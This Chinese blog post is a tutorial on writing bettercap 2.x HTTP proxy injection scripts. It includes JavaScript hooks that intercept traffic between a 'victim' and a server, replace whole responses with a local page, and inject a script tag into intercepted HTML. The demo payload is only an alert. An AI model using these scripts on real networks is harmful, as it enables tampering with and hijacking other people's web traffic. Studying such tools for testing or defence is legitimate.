【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script
/文章作者:Kali_MG1937
CNBLOG博客号:ALDYS4
QQ:3496925334/
前言
bettercap已经从1.6更新至2.0版本
语言也从ruby改为了go
编写注入模块指定的语言也从ruby变为了js
模块的编写可以说是更加方便了
那么如何编写bettercap2.0的注入模块呢?
语法明晰
bettercap进入2.0后一些人开始不习惯于新版本注入模块的编写
因为在1.6.2版本中,注入js只需要带上--proxy-module=injectjs参数,接着在--js-data参数中带入欲注入的js语句即可,可以说是非常方便了
但在2.0版本,注入模块的编写语言已经改为js,这让许多没接触过ruby的人有了更大的发挥空间
bettercap官网:http://www.bettercap.org
对于http(s).proxy模块
官方文档的介绍已经很明确了
我这里就对文档的内容进行解释和翻译,并附上自己的理解
0x00 http.proxy.script加载注入模块
这步很简单,只要使用set来设置指定的js文件即可
如:
set http.proxy.script /root/inject.js
0x01 注入模块的语法
注入模块可以更具使用者喜好来编写相应功能的注入模块
这里先对模块语法进行解释
// 当加载proxy时执行onLoad函数
function onLoad() {
//比如你已经set好js文件,使用http.proxy on来加载文件时
//此函数的内容将被执行
}
// 当受害者发送请求时拦截请求内容
function onRequest(req, res) {
//req就是请求的内容,res就是收到的返回内容
}
// 当服务器返回内容给受害者时将其拦截
function onResponse(req, res) {
//req和res和上面一样
}
// 当你在bettercap内执行了一个软件并不自带的命令时执行函数
function onCommand(cmd) {
if( cmd == "test" ) {
/*
* 比如你在软件内输入test并回车,就会触发这个函数
* 执行相应的代码
*/
return true
}
}
0x02 如何编写注入模块
这里先对模块自带的变量进行介绍
变量 | 介绍 |
---|---|
CobtentType | 拦截请求/返回的ContentType |
Headers | 拦截请求/返回的头信息 |
Status | 拦截状态码 |
Body | 拦截请求/返回的内容 |
在实际编写模块时
应用它们的方法很简单
比如你要拦截服务器返回给受害者信息中的ContentType信息
只需要把它赋予给一个值就好
如:
var a = req.ContentType
如果你要改写服务器返回给受害者的实际内容
只需将req或res参数的对应变量重写即可
如:
req.Body="You were be hacked"
官方也给出了许多骚操作
骚操作之一:网页复写
function onRequest(req, res) {
res.Status = 200;//重写状态码
res.ContentType = "text/html";//重写content
res.Body = readFile("caplets/www/index.html");//重写body
//其中readFile函数也是模块自带的,用于读取本地文件
headers = res.Headers.split("\r\n")
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "")
res.RemoveHeader(header_name);
}//删除返回信息的头信息
res.SetHeader("Connection", "close");//增加一个头信息
}
该模块可以在受害者发出任何请求时复写服务器返回的真实内容
骚操作之二:在返回中注入代码
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
//若content的格式是text/html
var body = res.ReadBody();//读取body
if( body.indexOf('') != -1 ) {//若头标签存在
res.Body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
'alert("bettercap")' +
'</script>' +
''
); //则在头标签内注入代码
}
}
}
顾名思义,替换指定标签或内容,在其中插入恶意代码
不只这些,有兴趣的可以看看bettercap作者的github
https://github.com/bettercap/caplets
这是作者自己写的模块,各种骚操作都有
还有一些模块自带的参数由于篇幅限制没法一一说明
可以自己去官网查看文档
实际应用
我根据这些原理自己利用python开发了一个小工具
BEST
全称:BettercapEvilScriptTool
开发该工具的初衷是想快捷地构造注入模块
虽然代码还在雏形期,但我还是先开源吧
代码开源:
https://pan.baidu.com/s/1buTP8aHqoP84zDeP6cMulQ
【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script的更多相关文章
- ArcGIS for Desktop入门教程_第一章_引言 - ArcGIS知乎-新一代ArcGIS问答社区
原文:ArcGIS for Desktop入门教程_第一章_引言 - ArcGIS知乎-新一代ArcGIS问答社区 1 引言 1.1 读者定位 我们假设用户在阅读本指南前应已具备以下知识: · 熟悉W ...
- 【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写
/文章作者:Kali_MG1937 CNBLOG博客:ALDYS4 QQ:3496925334/ 第一期: https://www.cnblogs.com/aldys4/p/14877783.html ...
- Python笔记_第一篇_面向过程_第一部分_8.画图工具(小海龟turtle)
turtle 是一个简单的绘图工具. 提供一个小海龟,可以把它理解为一个机器人,只能听懂有限的命令,且绘图窗口的原点(0,0)在中间,默认海龟的方向是右侧海龟的命令包括三类:运动命令.笔画控制命令.其 ...
- Python笔记_第一篇_面向过程_第一部分_2.内存详解
Python的很多教材中并没有讲内存方面的知识,但是内存的知识非常重要,对于计算机工作原理和方便理解编程语言是非常重要的,尤其是小白,因此需要把这一方面加上,能够更加深入的理解编程语言.这里引用了C语 ...
- Python笔记_第一篇_面向过程_第一部分_6.条件控制语句(if)
Python正如其他语言一样存在两种常用的逻辑判断体(也叫结构化程序设计).所谓逻辑判断体是通过你想要完成的编程思路,通过在逻辑判断体中的相互判断和作用得到你想要的结果.逻辑判断体也叫控制语句,Pyt ...
- Python笔记_第一篇_面向过程_第一部分_0.开场白
*什么是Python? Python是一种面向对象的解释型计算机程序设计语言,由荷兰人Guido(吉多) van Rossum于1989年发明,第一个公开版本发行于1991年.在国外应用非常的广泛,国 ...
- Python笔记_第一篇_面向过程_第一部分_9.Ubuntu基础操作
第一部分 Ubuntu简介 Ubuntu(乌班图)是一个机遇Debian的以桌面应用为主的Linux操作系统,据说其名称来自非洲南部祖鲁语或科萨语的“Ubuntu”一词,意思是“人性”.“我的存在 ...
- SQL时间第一期_获取系统年月日时分秒
select GETDATE() as '当前日期',DateName(year,GetDate()) as '年',DateName(month,GetDate()) as '月',DateName ...
- COM编程_第一讲_深入COM框架以及实现简单的COM
一丶我们要理解COM是什么(为什么理解) 现在很多人会用com(也就是ALT)但是不知道原理,如果改一点东西,那么整体的框架重来,因为你不懂改哪里,如果懂了,那么遇到问题,那么就会知道我要怎么做,是什 ...
随机推荐
- XCTF-FlatScience
FlatScience 题目描述 啥描述也没有 解题过程 页面有好多链接,除了论文pdf之外,还有子目录下的index.html, 比如:/1/index.html,/1/3/index.html 扫 ...
- Day002 Java特性和优势
Java特性和优势 简单性(摒弃了c++的指针和内存分配释放) 面向对象(万物皆对象) 可移植性(write once run anywhere) 高性能 分布式 动态性(反射机制) 多线程 安全性 ...
- Nifi:初识nifi
写在前面: 第一次接触这一系统的时候,只有github上的一坨源码和官方的英文文档,用起来只能说是一步一个坑,一踩一个脚印,现在回想那段血泪史,只想 ***,现在用起来算是有了一些经验和总结,这里就做 ...
- Django(31)模板中常用的过滤器
模版常用过滤器 在模版中,有时候需要对一些数据进行处理以后才能使用.一般在Python中我们是通过函数的形式来完成的.而在模版中,则是通过过滤器来实现的.过滤器使用的是|来使用. add 将传进来的参 ...
- [Qt] 信号和槽
信号与槽:是一种对象间的通信机制 观察者模式:当某个事件发生之后,比如,按钮检测到自己被点击了一下,它就会发出一个信号(signal).这种发出是没有目的的,类似广播.如果有对象对这个信号感兴趣,它就 ...
- [刷题] 279 Perfect Squares
要求 给出一个正整数n,寻找最少的完全平方数,使他们的和为n 示例 n = 12 12 = 4 + 4 + 4 输出:3 边界 是否可能无解 思路 贪心:12=9+1+1+1,无法得到最优解 图论:从 ...
- [Java] Spring 使用
背景 JavaEE 应用框架 基于IOC和AOP的结构J2EE系统的框架 IOC(反转控制):即创建对象由以前的程序员自己new 构造方法来调用,变成了交由Spring创建对象,是Spring的基础 ...
- LTC3780 工作原理分析
流程分析 当 CV调节 调节顺时针调节CV的时候 接入电路部分的电阻变大 Vosense变小 LTC内部的误差放大器 输出的变大 LTC内部逻辑调节 增大电压 我估计最终电压还是大约800mv左右 可 ...
- nginx 的基础知识(二)
Nginx 多进程网络模型 进程模型 nginx启动后以daemon的方式在后台运行,后台进程包括一个master进程和多个worker进程 master进程主要作用,接收来自外界的信号:向各work ...
- 并发王者课-青铜7:顺藤摸瓜-如何从synchronized中的锁认识Monitor
在前面的文章中,我们已经体验过synchronized的用法,并对锁的概念和原理做了简单的介绍.然而,你可能已经察觉到,有一个概念似乎总是和synchronized.锁这两个概念如影相随,很多人也比较 ...